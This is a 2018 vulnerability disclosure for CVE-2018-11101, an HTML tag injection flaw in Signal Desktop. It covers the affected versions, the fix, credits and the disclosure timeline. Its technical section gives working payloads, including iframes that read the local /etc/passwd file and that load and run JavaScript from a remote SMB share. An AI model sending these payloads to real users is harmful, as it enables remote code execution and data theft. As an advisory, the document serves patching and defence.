Signal Desktop HTML Tag Injection Variant 2

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Title: Signal-desktop HTML tag injection variant 2  
  
Date Published: 2018-05-16  
  
Last Update: 2018-05-16  
  
CVE Name: CVE-2018-11101  
  
Class: Code injection  
  
Remotely Exploitable: Yes  
  
Locally Exploitable: No  
  
Vendors contacted: Signal.org  
  
Vulnerability Description:  
  
Signal-desktop is the standalone desktop version of the secure  
Signal messenger. This software is vulnerable to remote code execution  
from a malicious contact, by sending a specially crafted message  
containing HTML code that is injected into the chat windows (Cross-site  
scripting). This is a new variant of CVE-2018-10994.  
  
Vulnerable Packages:  
  
Signal-desktop messenger v1.7.1  
Signal-desktop messenger v1.8.0  
Signal-desktop messenger v1.9.0  
Signal-desktop messenger v1.10.0  
Signal-desktop messenger v1.10.1  
Solution/Vendor Information/Workaround:  
  
Do not trust user input. Sanitize it by encoding HTML tags or  
filtering them. Also, a CSP header is missing, that would deter the  
action of iframes. Include aframe-src anone'a or, if required,  
aframe-src aself'a in the CSP declaration.  
  
For final users: Upgrade to signal-desktop messenger v1.11  
  
Credits:  
  
This vulnerability was found and researched by Barrera Oro, IvA!n Ariel  
(@HacKanCuBa), Bryant, Matt (@IAmMandatory), Ortega, Alfredo  
(@ortegaalfredo) and Rizzo, Juliano (@julianor).  
  
Technical Description a Exploit/Concept Code  
  
After publishing CVE-2018-10994, Matt discovered that the vulnerability  
prevailed but the attack was a bit different: the attacker needs to send  
HTML code directly as a message, and then reply to that message to  
trigger this vulnerability. The Signal-desktop software fails to  
sanitize specific HTML tags that can be used to inject HTML code into  
remote chat windows when replying to a HTML message. Specifically the  
<img> and <iframe> tags can be used to include remote or local  
resources. For example, the use of iframes enables full code  
execution, allowing an attacker to download/upload files, information,  
etc. The <script> tag was also found injectable. In the Windows  
operative system, the CSP fails to prevent remote inclusion of resources  
via the SMB protocol. In this case, remote execution of JavaScript can  
be achieved by referencing the script in a SMB share as the source of an  
iframe tag, for example: <iframe src=\\DESKTOP-XXXXX\Temp\test.html> and  
then replying to it. The included JavaScript code is then executed  
automatically, without any interaction needed from the user. The  
vulnerability can be triggered in the Signal-Desktop client by sending a  
specially crafted message and then replying to it with any text or  
content in the reply (it doesnat matter). Examples:  
  
Show an iframe with some text:  
<iframe srcdoc="<p>PWONED!!</p>"></iframe>  
  
Display content of useras own /etc/passwd file:  
<iframe src="/etc/passwd"></iframe>  
  
Include and auto-execute a remote JavaScript file (for Windows clients):  
<iframe src="\\XXX.XXX.XXX.XXX\Temp\test.html"></iframe>  
  
Show a displacing base64-encoded image (bypass aclick to download imagea):  
<marquee><img  
src="data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD/2wBDACgcHiMeGSgjISMtKygwPGRBPDc3PHtYXUlkkYCZlo+AjIqgtObDoKrarYqMyP/L2u71////m8H////6/+b9//j/wAALCAAtADwBAREA/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/9oACAEBAAA/AMapRbv5YckKD0z1pPJbjJAzSGIgjcQMnFEkZSTZkE+1STWksTKrAZbpThYzfLuAUN3JFJ9kkyeV4PrTBFyNzCpSGuZiRgY4ArRgtAvzSfMfSqN3EYpjsA2noTg1B87HlqNrnqxP40nlt6ml8pvWo/MY/wARqzAzcEVorK24RuAAw4IqLUo2EKFFJIOM9azN8oOMkfhTz9oVdxDhfWlR3ZOWJ/Gpdzep/OqVTQEq2MVpo4aNWABKHnNLIzNHGW7OST6DFZ92wEoAGAvX3qNrl/KaEH5CePaliPyYqVTwKrIu41O1u0Z4BP06irUDKiky5DYx04p8sxddpwFA6etZcrFnJPepLa2NwSFPIoQbQVPUHFTLjFUskd6d5j/3m/Ok3sf4j+dG9j/EfzpKVXZPusR9DSZPrS7j6mv/2Q=="/></marquee>  
Timeline:  
  
2018-05-14 19:00 GMT-3: vuln discovered  
2018-05-14 20:00 GMT-3: emailed Signal security team  
2018-05-14 20:21 GMT-3: reply from Signal: vuln confirmed & patch ongoing  
2018-05-14 21:47 GMT-3: signal-desktop update published  
2018-05-16 11:00 GMT-3: public disclosure  
References:  
  
Patch:  
https://github.com/signalapp/Signal-Desktop/compare/v1.11.0-beta.2a|development  
CVE-2018-11101 write-ups:  
https://ivan.barreraoro.com.ar/signal-desktop-html-tag-injection-variant-2/  
  
https://thehackerblog.com/i-too-like-to-live-dangerously-accidentally-finding-rce-in-signal-desktop-via-html-injection-in-quoted-replies/  
CVE-2018-10994 write-up:  
https://ivan.barreraoro.com.ar/signal-desktop-html-tag-injection/  
  
  
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